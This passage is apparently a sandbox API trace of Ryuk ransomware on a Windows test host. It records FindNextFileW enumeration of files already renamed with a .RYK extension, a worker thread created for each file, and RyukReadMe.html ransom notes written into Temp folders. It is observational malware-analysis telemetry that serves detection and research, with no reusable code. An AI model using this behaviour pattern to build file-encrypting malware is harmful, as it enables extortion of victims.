	[0276.273] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6e2f5b60, ftCreationTime.dwHighDateTime=0x1d5c2ee, ftLastAccessTime.dwLowDateTime=0xf2fab6e0, ftLastAccessTime.dwHighDateTime=0x1d5c088, ftLastWriteTime.dwLowDateTime=0x4ef2caf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="J_-R87.mkv.RYK", cAlternateFileName="J_-R87~1.RYK")) returned 1
	[0276.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c
	[0276.280] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.280] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81051d90, ftCreationTime.dwHighDateTime=0x1d5b715, ftLastAccessTime.dwLowDateTime=0x29745260, ftLastAccessTime.dwHighDateTime=0x1d5c5d6, ftLastWriteTime.dwLowDateTime=0x4ef52c50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x40e2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Ki2c.avi.RYK", cAlternateFileName="KI2CAV~1.RYK")) returned 1
	[0276.281] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60
	[0276.288] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.288] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd1d36120, ftCreationTime.dwHighDateTime=0x1d5beca, ftLastAccessTime.dwLowDateTime=0x76314170, ftLastAccessTime.dwHighDateTime=0x1d5bfab, ftLastWriteTime.dwLowDateTime=0x4f18e0f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x15c2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="l1ORf0q2ulaDN.bmp.RYK", cAlternateFileName="L1ORF0~1.RYK")) returned 1
	[0276.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74
	[0276.298] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.299] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab564300, ftCreationTime.dwHighDateTime=0x1d5bbf0, ftLastAccessTime.dwLowDateTime=0xee258640, ftLastAccessTime.dwHighDateTime=0x1d5c3f8, ftLastWriteTime.dwLowDateTime=0x4f1b4250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4272, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="lQxu.png.RYK", cAlternateFileName="LQXUPN~1.RYK")) returned 1
	[0276.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78
	[0276.775] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.776] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2d515640, ftCreationTime.dwHighDateTime=0x1d5c238, ftLastAccessTime.dwLowDateTime=0x60496ca0, ftLastAccessTime.dwHighDateTime=0x1d5c165, ftLastWriteTime.dwLowDateTime=0x4f1da3b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xf42, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="LY6Qu.xls.RYK", cAlternateFileName="LY6QUX~1.RYK")) returned 1
	[0276.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84
	[0276.778] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.779] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd2cdd380, ftCreationTime.dwHighDateTime=0x1d5be16, ftLastAccessTime.dwLowDateTime=0x3dc95e10, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x4f200510, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x6402, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="MJMk8.m4a.RYK", cAlternateFileName="MJMK8M~1.RYK")) returned 1
	[0276.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88
	[0276.781] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.781] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd8a8c0, ftCreationTime.dwHighDateTime=0x1d5bcfb, ftLastAccessTime.dwLowDateTime=0x8a9a45a0, ftLastAccessTime.dwHighDateTime=0x1d5c51c, ftLastWriteTime.dwLowDateTime=0x68e40730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd9e2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="P1dmCR7ieckSgIIeC9O9.pptx.RYK", cAlternateFileName="P1DMCR~1.RYK")) returned 1
	[0276.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c
	[0276.783] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.784] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x94e32a60, ftCreationTime.dwHighDateTime=0x1d5c169, ftLastAccessTime.dwLowDateTime=0x376ee9b0, ftLastAccessTime.dwHighDateTime=0x1d5c532, ftLastWriteTime.dwLowDateTime=0x4f226670, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x16572, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="qGOJS5U056zz.m4a.RYK", cAlternateFileName="QGOJS5~1.RYK")) returned 1
	[0276.784] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90
	[0276.785] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.786] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f68b270, ftCreationTime.dwHighDateTime=0x1d5ba9b, ftLastAccessTime.dwLowDateTime=0x1a90ef70, ftLastAccessTime.dwHighDateTime=0x1d5b7d9, ftLastWriteTime.dwLowDateTime=0x4f24c7d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x179a2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="qSjd7SgYFb_k4OKYS.mp3.RYK", cAlternateFileName="QSJD7S~1.RYK")) returned 1
	[0276.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94
	[0276.787] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.788] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc4fe2d0, ftCreationTime.dwHighDateTime=0x1d5bf18, ftLastAccessTime.dwLowDateTime=0xf6e93450, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0x4f272930, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xf092, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="QwBhM.odt.RYK", cAlternateFileName="QWBHMO~1.RYK")) returned 1
	[0276.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98
	[0276.789] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.790] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7c5000, ftCreationTime.dwHighDateTime=0x1d5bed1, ftLastAccessTime.dwLowDateTime=0x986d0b30, ftLastAccessTime.dwHighDateTime=0x1d5bd89, ftLastWriteTime.dwLowDateTime=0x4f298a90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x175f2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RfdjvaFkFgE9qEv7bT.avi.RYK", cAlternateFileName="RFDJVA~1.RYK")) returned 1
	[0276.790] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c
	[0276.792] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.792] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d09680, ftCreationTime.dwHighDateTime=0x1d5bbfc, ftLastAccessTime.dwLowDateTime=0xe3815c70, ftLastAccessTime.dwHighDateTime=0x1d5bcc6, ftLastWriteTime.dwLowDateTime=0x4f2bebf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4392, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="rraEpi1SleocmER-.wav.RYK", cAlternateFileName="RRAEPI~1.RYK")) returned 1
	[0276.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0
	[0276.794] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.795] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbe5ab750, ftCreationTime.dwHighDateTime=0x1d5b9d0, ftLastAccessTime.dwLowDateTime=0xa911ee20, ftLastAccessTime.dwHighDateTime=0x1d5c11b, ftLastWriteTime.dwLowDateTime=0x4f7cdab0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x13c02, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Ry6fZp6K Kz.wav.RYK", cAlternateFileName="RY6FZP~1.RYK")) returned 1
	[0276.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa4
	[0276.796] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.797] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7337b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0276.797] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1b5b1910, ftCreationTime.dwHighDateTime=0x1d5b7e0, ftLastAccessTime.dwLowDateTime=0x492dbc50, ftLastAccessTime.dwHighDateTime=0x1d5bfa9, ftLastWriteTime.dwLowDateTime=0x4f8b22f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17c12, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="ss2b.mp4.RYK", cAlternateFileName="SS2BMP~1.RYK")) returned 1
	[0276.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8
	[0276.799] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.800] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1f7c4fa0, ftCreationTime.dwHighDateTime=0x1d5b768, ftLastAccessTime.dwLowDateTime=0xd8b68e0, ftLastAccessTime.dwHighDateTime=0x1d5bb22, ftLastWriteTime.dwLowDateTime=0x50851350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12da2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="TaYG.png.RYK", cAlternateFileName="TAYGPN~1.RYK")) returned 1
	[0276.800] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaac
	[0276.801] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.802] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x68ed8cb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68ed8cb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0276.802] SetLastError (dwErrCode=0x0) 
	[0276.802] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab0
	[0276.802] GetLastError () returned 0xb7
	[0276.802] CloseHandle (hObject=0xab0) returned 1
	[0276.803] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x68ed8cb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68ed8cb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0276.803] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x68ed8cb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68ed8cb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.803] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0276.803] SetLastError (dwErrCode=0x0) 
	[0276.803] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab4
	[0276.804] GetLastError () returned 0xb7
	[0276.804] CloseHandle (hObject=0xab4) returned 1
	[0276.804] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0276.804] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.804] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="03J4UQW0", cAlternateFileName="")) returned 1
	[0276.804] SetLastError (dwErrCode=0x0) 
	[0276.805] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa80
	[0277.400] GetLastError () returned 0x0
	[0277.400] WriteFile (in: hFile=0xa80, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0277.668] CloseHandle (hObject=0xa80) returned 1
	[0277.668] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0277.751] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.751] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.752] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0277.752] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0277.752] SetLastError (dwErrCode=0x0) 
	[0277.752] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.752] GetLastError () returned 0x3
	[0277.752] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0277.752] CloseHandle (hObject=0xffffffffffffffff) returned 0
